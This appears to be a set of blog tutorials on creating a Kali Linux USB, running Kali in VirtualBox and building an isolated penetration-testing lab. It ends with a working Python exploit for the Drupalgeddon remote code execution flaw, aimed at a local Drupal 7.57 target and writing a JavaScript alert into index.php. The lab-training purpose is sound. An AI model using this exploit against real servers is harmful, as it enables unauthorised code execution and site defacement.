Welcome back to our next tutorial. Today we will be creating a Kali Linux bootable USB. If you would install Kali Linux locally, check out our tutorial on Installing Kali Linux in VirtualBox.
Go ahead and start the download as it will take some time on slower connections. Grab the Kali Linux Live ISO from https://www.kali.org/downloads/.
Get the appropriate architecture for the target system. If you will be primarily using your USB thumb drive on 64-bit architectures you can grab the x86_64 version. If you are unsure you will usually be safe with the 32-bit (i386) version.
Once your download is complete we can go ahead and start the installation process. The instructions will vary slightly depending on your host OS.
Connect your USB thumb drive to the system and make sure it can store at least 4GB of data. Make a note of the drive letter that your drive uses once it mounts. In this example our USB is mounted as drive “F:\”.
Flash the ISO image with Etcher. Etcher is a free utility for burning ISO files to disk and USB. Simply select the ISO file you previously downloaded and the appropriate drive letter.
After the flashing process is complete, you can safely eject the USB and use it to boot Kali Linux.
Creating a Bootable Kali USB on Linux
Use fdisk -l from the command line to view the disks and their device paths. Now connect the USB drive and make sure it has at least 4GB of available space.
Run the fdisk -l command again and identify the newly added device name. You can also verify the size matches the approximate size of your USB thumb drive. Make sure you identify the correct device path for your USB. In our example we are using /dev/disk4. Other systems may show the device path as /dev/sdb or similar.
After triple checking that you have the correct device you can proceed to copy the ISO to the USB disk. Be careful when typing this command. dd is a powerful command especially when run as root! You can easily overwrite your primary disk if you enter the wrong device name.
This command copies our input file (if), kali-linux-2020.1b-live-amd64.iso to our output ‘file’ (of) /dev/disk4. The additional parameter bs instructs the dd command to copy in 4 megabyte chunks.
Note: The dd command can take quite some time depending on the performance of the USB thumb drive. Just be patient and wait for the command to complete. On some systems this process can take upwards of 30 minutes. You can press CTRL-T to see how many bytes dd has copied so far.
Creating a Bootable Kali USB on Mac OS
MacOS is a UNIX based operating system so the instructions for creating a bootable Kali USB on Mac OS are similar to the Linux instructions above.
Start by listing the disk devices available on the system with:
diskutil list
After making a note of the devices listed, plug in your USB thumb drive and repeat the process. You should see a new device in the list that matches the size of your USB drive. In our example our USB drive is available at /dev/disk2.
Now unmount the drive with diskutil:
diskutil unmountDisk /dev/disk2
And now CAREFULLY copy the Kali Linux ISO to the USB drive. Be careful with the dd command and double check that you have the correct device!
Copying the ISO takes time (up to half an hour on some systems) so be patient. Pressing CTRL-T will show how many bytes have been processed by dd so far. This can be used to estimate the time remaining.
Kali on the Go
Now that you have Kali Linux installed on a bootable USB it is up to you where to unleash this power. Theoretically you can boot Kali Linux on almost any machine you have physical access to. Physical access is a holy-grail during penetration testing as it spells almost immediate game-over for the defenders.
Today we cover how to install Kali Linux in Virtualbox on Mac.
In the tutorial below we explain all the steps needed to install Kali Linux in VirtualBox on a Mac. We also answer common questions and provide solutions to common problems people face while trying to install Kali Linux in VirtualBox on Mac. After today’s tutorial you will have a fully functioning penetration testing system running Kali Linux in VirtualBox.
Make sure you download the correct file for your virtual machine software. In this tutorial I will be using VirtualBox. I highly recommend using the Torrent download option. The download rates on the Offensive Security servers are rather limited. Downloading the whole 3GB file will take some time. Using the Torrent file allows you to connect to fast peers willing to host the download. Which ever route you choose wait for the download to complete and get VirtualBox set up while you are waiting for your download to complete.
Offensive Security Kali VirtualBox Download
Grab yourself a coffee and wait for that download to complete. Then we will import the appliance file into VirtualBox.
Import the Kali Linux appliance
The wonderful folks over at Offensive Security have been nice enough to package up a full VirtualBox appliance running Kali. The appliance file will take care of creating the virtual machine for us.
You may notice an .ova extension on the file you downloaded. The .ova extension is for virtual machine appliance files and is supported by many virtualization applications such as VirtualBox and VMWare.
After you finish downloading the file, open VirtualBox and select File > Import Appliance…
Import Kali Linux appliance in VirtualBox
Make sure the source is set to Local File System (assuming the downloaded file is on your machine). Then click the folder icon to navigate to the file you downloaded from Offensive Security and select Open.
VirtualBox appliance import screenSelect the Kali Linux virtual appliance file
After clicking Open VirtualBox will take a few moments to extract the file’s contents. After the import is complete you will be greeted with a window showing all of the appliance’s details. Take a moment to review these details and tweak anything you want.
Kali Linux appliance information screen
Once everything is satisfactory click Import. Kali Linux 2020 now requires accepting the Kali Linux Open Source license agreement. Click Agree and then wait for the import to complete. This should not take more than a few minutes on a decently powered system.
Kali Linux GPL v3 license agreementKali Linux VirtualBox import
Tweak the virtual machine
Feel free to fire up the virtual machine once the import is complete. Before that however, I would recommend tweaking a virtual machine settings. If you are like me and installed Kali Linux in VirtualBox on a Mac Book Pro with Retina Display then you will probably be greeted with a microscopic display. We’ll fix that next.
Lets start by selecting our newly created virtual machine in the list on the left. Click the Settings icon to bring up the virtual machine settings.
Adjust VirtualBox processor count
First click System and then Processor. I usually like to bump my processor count up to 4. If you have the cores available I definitely recommend allocating more.
Adjust VirtualBox RAM settings
Above all, let’s adjust the Motherboard settings. I like to increase the base memory allocation to 4096 MB (4GB). This makes for a slightly snappier interface especially if running the full desktop environment.
Adjust Kali Linux display settings for VirtualBox
After adjusting the virtual machine settings, fire up Kali and insert the guest additions. This part is crucial as it updates the virtual display drivers. The updated drivers give us much better control of the guest screen resolution. For instance we can take full advantage of the MacBook Pro’s retina display.
Install VirtualBox Guest Additions in Kali LinuxInsert Guest AdditionsCopy VBoxLinuxAddtions.run to DesktopOpen terminal, install as rootVirtualBox Guest Additions installed in Kali Linux
After installing the VirtualBox Guest Additions in Kali Linux reboot the VM to apply all of the changes. Then open the Kali Linux display settings. This is done by clicking the menu button in the upper left corner of the Kali desktop. Either search for Display or select Settings, then select Display.
Adjust Kali Linux display settings
In the display settings adjust the resolution to an acceptable value. It is important to note that while your display may be capable of 4000+ by 3000+ resolution, you may want to select a lower resolution such as 1920 by 1080. Although Kali Linux allows interface scaling to increase the interface size and maintain resolution, not all apps support this option. Many tools built on Java for example do not scale at all and this results in tiny unusable interfaces.
Change Kali Linux display resolution
Adjusting the VM display settings
Once you’ve lowered the resolution in Kali Linux the window may now be surrounded by a thick black border. If this is the case, go to the virtual machine settings (in VirtualBox) and select Display. Then adjust the scaling factor to 200%. This will make Kali Linux full screen again…and with readable text!
Adjust VirtualBox scaling factor
Kali Linux in VirtualBox
After tweaking the Kali and VirtualBox display settings, you should have a beautifully crisp installation of Kali Linux 2020 in VirtualBox on a Mac. Now you surely want to dive right in and start exploring. For instance, you may want to set up a vulnerable host and test some exploit tools.
Itching to hack something?
The best way to learn penetration testing is in a controlled environment specifically designed for exercising your penetration testing skills. You can get in loads of trouble ‘testing’ systems that don’t belong to you.
Metasploitable is an excellent vunerable virtual machine that you can set up alongside Kali Linux. This VM is loaded with security vulnerabilities to help expand your skillset. The tutorial below explains how to install Metasploitable in VirtualBox.
Before you deploy Metasploitable, you may want to consider setting up a virtual penetration testing lab. This gives you a controlled environment to test your skills. Now that you’ve completed this tutorial, you already have the Kali host set up. After that it is just a matter of adding 1 or 2 vulnerable VMs to your network to practice on. The tutorial below describes how to set up an isolated network for testing your skills.
As a penetration tester it is important to have a controlled environment in which to hone your skills and test new techniques. Testing on systems you do not own is illegal, even if it is just harmless curiosity. In this article I will show you how to build a virtual penetration testing lab using VirtualBox, Kali Linux, and Ubuntu.
In this lab you can test, and hack away without worrying about the men in black showing up at your door. Plus, in a virtual environment you can carefully monitor each system’s behavior during an attack giving you further insight into how an exploit compromises a system.
In addition, with a virtual network you can clone and snapshot instances with just a few clicks and easily create new pre-configured hosts. This allows you to try many different techniques in a short period of time, and always start from the same base configuration.
Below are the steps we will take to create the virtual penetration testing lab.
First, you will want to grab a copy of VirtualBox and run through the installation for your OS. VirtualBox is a fantastic virtualization tool and provides a rich feature set for operating virtual machines.
Our entire virtual penetration testing lab will be hosted in VirtualBox. This keeps the host system nice and tidy. Most PCs these days can easily support 2 or even 3 Linux guest VMs hosting a simple web server for example.
VirtualBox also provides snapshot capabilities allowing VM states to be stored and recalled with the click of a button.
Set up the Virtual Network
Once we’ve got VirtualBox installed we need a network for our machines to live on. To keep the lab isolated we will want the machines to be restricted to a dedicated private network. VirtualBox makes this easy with the NAT Network. With a NAT Network all of our lab machines can easily communicate with one another while also having NATed access to the Internet.
If you haven’t set up a NAT Network before read on below. It is a little different from the other VirtualBox networking options but I will show you how to set up a NAT Network in VirtualBox.
First you will need to create the network itself. This is done under VirtualBox > Preferences. Select the Network tab and then add a new network.
Double-clicking the newly created network allows you to configure the subnet IP range, the name of the network, and DHCP options. For now the defaults are fine but go ahead and rename the network if you wish.
I like the NAT Network option best as it provides each of the VMs with a NATed Internet connection. It also places each of the VMs on the same private network allowing our lab machines to easily communicate with one another. Now let us fill our penetration testing lab with some machines.
Create the Kali Host
Kali Linux is a fantastic distribution loaded with all sorts of penetration testing tools. I like to have a Kali host on my lab network either for launching attacks or fingerprinting hosts.
Kali is a breeze to install with the pre-made VirtualBox image. Follow our in-depth tutorial to Install Kali LInux in Virtual Box on Mac. Check that guide out if you need some extra help, otherwise the basic steps are listed below.
The downloaded file is a VirtualBox appliance file. After the download completes, open VirtualBox and select File> Import Appliance…
The default user for the appliance is root with a default password of toor.
Now let us add some targets to the lab network.
Build the Base Ubuntu Image
Ideally we want the virtual pentesting lab to be as re-useable as possible. I use VirtualBox appliances for this. An appliance packages up your virtual machine as a single file including all the machine settings and the current machine state. This appliance file can be imported as many times as needed to create a new virtual machine.
I use Ubuntu for this base machine. Ubuntu is widely supported, and an easily configured OS.
Lets start by setting up a base Ubuntu virtual machine, and then I will show you how to create an appliance out of it.
Download Ubuntu
Download the Ubuntu ISO. The minimal version is fine, but grab the standard version if you prefer a full graphical desktop.
Create the VM
While the ISO is donwloading create a new virtual machine.
Once the ISO has downloaded, insert it into the virtual machine.
Install Ubuntu
Start the VM and run through the Ubuntu installation process. For a base box most of the defaults are fine and give you a clean minimal Ubuntu installation.
There are plenty of installation tutorials available for Ubunut and VirtualBox so I won’t go into detail here. Google is your friend.
Remember, you’ll only have to step through this installation once!
Tweak the Machine
At this point you could stop and create an appliance. However you may also wish to perform a few more customizations for your base appliance.
For example, you could install your preferred text editor (mine’s vim!), install a default set of base packages, or just customize the shell prompt.
Export the Appliance
Once you have finished tweaking your base box it is time to export the appliance. This is as simple as File > Export Appliance. Tweak any options, and put this file somewhere for later.
Now whenever you need a new host in the lab, you can import this appliance. This will save you considerable time as you won’t have to go through the same initial configuration over and over for each host.
Hacking Drupal
That is pretty much all we need for a basic penetration testing lab. We have a master host for launching and monitoring attacks. We have also created a re-useable base appliance for easily creating test targets.
Now I will run through an example exploit using our new penetration testing lab. I will demonstrate one of the DrupalGeddon vulnerabilities that were discovered in early 2018. You may want to start by reading the analysis of the vulnerability.
For this example we will set up a base web server running a vulnerable Drupal installation.
We will then use a simple Python script on the Kali host and exploit the vulnerability.
Creating the Target Host
If you don’t have any Ubuntu VMs running, grab your appliance and spin up a new VM. Log in to your target virtual machine to begin the setup.
The Drupalgeddon vulnerability came out quite some time ago so we will need to install some repositories first.
Now we can install the Apache web server and the MySQL database
# Install Apache and MySQL
apt install apache2
apt install mysql-server
# Restart apache2
service apache2 restart
# Restart mysql
service mysql restart
# Secure mysql installation
mysql_secure_installation
Now let’s create the database and user.
# Use mysql command to enter the mysql console
mysql
# Then create the database and user
mysql> CREATE DATABASE databasename CHARACTER SET utf8 COLLATE utf8_general_ci;
mysql> CREATE USER username@localhost IDENTIFIED BY 'password';
mysql> GRANT SELECT, INSERT, UPDATE, DELETE, CREATE, DROP, INDEX, ALTER, CREATE TEMPORARY TABLES ON databasename.* TO 'username'@'localhost' IDENTIFIED BY 'password';
After we have installed the required packages, we can begin to install Drupal.
Simply download and extract the Drupal archive, and then pull up the site in a browser to complete the installation.
cd /var/www/html/
wget https://ftp.drupal.org/files/projects/drupal-7.57.tar.gz
tar -xzvf drupal-7.57.tar.gz
cd /var/www/html/drupal-7.57/
cp sites/default/default.settings.php sites/default/settings.php
cd /var/www/html/
chown -R www-data:www-data drupal-7.57/
If you need the private IP of the server you can use the following command.
# Get the server private IP
ifconfig
Now navigate to the IP of your VM in a browser. You should be greeted by the Drupal installation page.
Once you reach the database configuration page, enter the database user details for the user you created earlier.
After the installer is complete you can check out your fresh new homepage.
If we check the status report, we can see that we are in fact running Drupal 7.57. Now let us have some fun with this!
Exploiting the Target
Now that we have a vulnerable target set up, let us get to work exploiting it.
The following is a simple Python script that will exploit the vulnerability and demonstrate remote code execution. Be sure to check out the vulnerability analysis if you aren’t sure how the script works.
This vulnerability gives us the ability to execute arbitrary code on the target server. We could use this to do some pretty nasty things, but lets just make a tiny modification to index.php.
The ‘shell_code’ variable holds the code that we are injecting into index.php. This is just a simple Javascript alert that will show any time the page is loaded. I’ll leave it up to you to see what else you can do with this vulnerability.
#!/usr/bin/python
import requests
import re
import base64
target='192.168.56.9/drupal-7.57'
shell_code = "echo \"<script>alert('Ouch. Time to patch. ');</script>\";"
encoded_cmd = base64.b64encode(shell_code)
bashcmd = "echo " + encoded_cmd + " | base64 -d >> index.php"
print bashcmd
target_url = '/?q=user/password&name[#post_render][]=passthru&name[#type]=markup&name[#markup]=' + bashcmd
payload = "form_id=user_pass&_triggering_element_name=name"
url = 'http://' + target + target_url
url = url.replace('#', '%23')
url = url.replace(' ', '+')
print url
headers = {'content-type': 'application/x-www-form-urlencoded'}
r = requests.post(url, headers=headers, data=payload)
body = r.text
# Extract form id from body
m = re.search('form_build_id" value="(form-.*)"', body)
form_build_id = m.group(1)
trigger_url = 'http://' + target + '/?q=file/ajax/name/#value/' + form_build_id
trigger_url = trigger_url.replace('#', '%23')
trigger_url = trigger_url.replace(' ', '+')
payload = "form_build_id=" + form_build_id
# Trigger the exploit
r = requests.post(trigger_url, headers=headers, data=payload)
Run the script and head on over to your browser. You should see the Javascript alert pop up when the page reloads.
And there you have it. We’ve just exploited Drupal in our virtual penetration testing lab.
Benefits of a Virtual Penetration Testing Lab
We’ve already covered how easy it is to create and snapshot hosts. We can also use Wireshark to monitor network traffic on our lab network.
To do this, open Wireshark on your host machine (the one running VirtualBox). After that, select the NAT Network you created (mine is named vboxnet0) from the available interfaces list.
Wireshark is a great tool for monitoring traffic in your virtual penetration testing lab.
Wireshark now shows you all the traffic passing between your lab machines. This is extremely useful when debugging an exploit, or assessing a vulnerability.
Something Extra
The best part of a virtual penetration testing lab is the versatility it provides.
Metasploitable2 is a vulnerable virtual machine that can easily be added to your lab.